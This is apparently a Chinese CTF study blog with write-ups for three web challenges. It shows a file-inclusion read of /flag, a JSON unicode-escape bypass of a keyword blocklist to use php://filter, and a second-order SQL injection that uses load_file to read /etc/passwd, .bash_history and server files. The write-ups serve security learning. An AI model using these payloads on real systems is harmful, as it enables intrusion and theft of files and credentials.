1月14学习
[网鼎杯 2020 半决赛]AliceWebsite
题目是给了源代码的,代码审计一下。
找到漏洞点,action是可控的,然后有文件包含,没有任何过滤,那就很简单了。
?action=/flag
我了个网鼎半决。。。。。。。
[HarekazeCTF2019]encode_and_encode
有三个链接,分别打开看看。
第三个是源代码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit(); //这里有exit(),因此在进行测试时应删除URL后的source参数
}
function is_valid($str) {
$banword = [
// no path traversal -> 防止目录穿越
'\.\.',
// no stream wrapper -> 过滤掉常见伪协议
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration -> 过滤掉‘flag’关键词
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i'; //正则匹配违禁词
if (preg_match($regexp, $str)) { //对传入函数的字符进行检测
return false;
}
return true;
}
$body = file_get_contents('php://input'); //变量body利用php://input伪协议获取post数据
$json = json_decode($body, true); //变量body在进行json解码后赋值给变量json
if (is_valid($body) && isset($json) && isset($json['page'])) { //对body内容进行过滤检测、检测json中是否存在page参数 -> 意味着我们的payload应传递给page参数
$page = $json['page'];
$content = file_get_contents($page); //读取page中文件的内容并赋值给content -> 到这里就可以确定是一个文件包含漏洞了
if (!$content || !is_valid($content)) { //对content内容进行过滤检测
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); //如果直接返回明文Flag则会替换掉Flag中的内容 -> 这里很明显需要对返回的内容进行加密,不难想到利用php://filter中的流控制器进行数据编码
echo json_encode(['content' => $content]); //输出content中的内容,即输出文件内容
很明显这题是利用php://filter伪协议来读取文件的 ,难点在于绕过is_valid()这一检测函数。
在看了他人的WP后知道了一个小方法
json编码数据中的一个小Trick:
\uXXXX可以在JSON中转义字符,例如A与\u0041等效.
也就是说我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测。
首先构造读取/flag文件内容的payload:
php://filter/convert.base64-encode/resource=/flag
然后将过滤的关键词“php”与“flag”进行编码,得到:
\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067
之后构造json数据包:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
将json数据利用post方式发送即可:
base64解码
题目比较简单,考察json数据转义的一个小方法,主要思路还是利用字符的转义来进行绕过。
[网鼎杯 2018]Comment
点开题目后是这样的,当你要发帖的时候就会跳出来让你登录,
给了账户名,密码也只需要爆出后三位就可以。
抓包爆破。、
密码后面是666
登录进去
可以提交,但是看不出有什么用,用dirsearch扫一下
发现存在git泄露
git log --all
用GitHack下载发现有一个write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
后台对输入的参数通过addslashes()对预定义字符进行转义,加上\,预定义的字符包括单引号,双引号,反斜杠,NULL。但是放到数据库后会把转义符 \ 去掉(进入数据库后是没有反斜杠的),并存入数据库中。
所有参数进行了转义才放到sql语句中,但是在cmment中,对于category的值从数据库取出来没有进行转义,直接拼接到sql insert语句中,这就存在二次注入的可能。
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被再次读取并进入到SQL查询语句所导致的注入。
本题思路就是通过发帖,在category中放入payload,存入数据库中,不过这一过程payload因为对单引号等作了转义,不会被触发,只有在发帖成功后,在留言comment,调用insert语句时因为没有对数据库取出的category进行转义,直接拼接才会触发payload。
构造
0',content=database(),/*
在提交留言处输入*/#
(这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接)
拼接后就是
insert into comment
set category = '0',content=database(),/*,
content = '*/#',
bo_id = '$bo_id'
利用content的回显即可看到结果;可以看到数据库就是ctf。
但是我去查表等发现都不可以。看了其他的WP后知道用sql来读取文件。
select load_file(‘文件绝对路径’)。
load_file(‘文件绝对路径’)读取文件并返回文件内容为字符串。使用此函数,该文件必须位于服务器主机上,必须指定完整路径的文件,必须有FILE权限。
一般用法步骤:
读/etc/init.d下的东西,这里有配置文件路径
?id=1' union select 1,2,load_file('/etc/init.d/httpd')
得到web安装路径
?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
读取密码文件
?id=1' union select 1,2,load_file('var/www/html/xxx.com/php/conn.inc.php')
先尝试能不能读取/etc/passwd,能不能执行。
构造:
a',content=(select (load_file('/etc/passwd'))),/*
可以看到读取成功,
知道www用户(一般和网站操作相关的用户,由中间件创建)的目录是/home/www,可以查询这下面的.bash_history。
“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。
构造:
a',content=(select (load_file('/home/www/.bash_history'))),/*
可以看到历史命令
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
html.zip里面有一个.DS_Store文件,复制到/var/www/html目录下后被删除了,但是在/tmp/下只是删除了压缩包,但是因为有解压的过程,所以解压后生成的文件夹html里还存在.DS_Store文件,读取这个文件。
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
构造
a', content=(select (load_file('/tmp/html/.DS_Store'))),/*
但是内容感觉不是很齐全,原因是文件太大,读取不完整。
所以我们用十六进制编码,然后解码就行了。
构造
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
可以看到 flag_8946e1ff1ee3e40f.php文件
还是16进制读取就行了
构造:
a', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*
总结:先是利用bp爆破得到密码,登录进去;然后通过GIT泄露得到源代码;代码审计后发现可以利用SQL的二次注入。利用select load_file(‘文件绝对路径’)。一次次读取文件。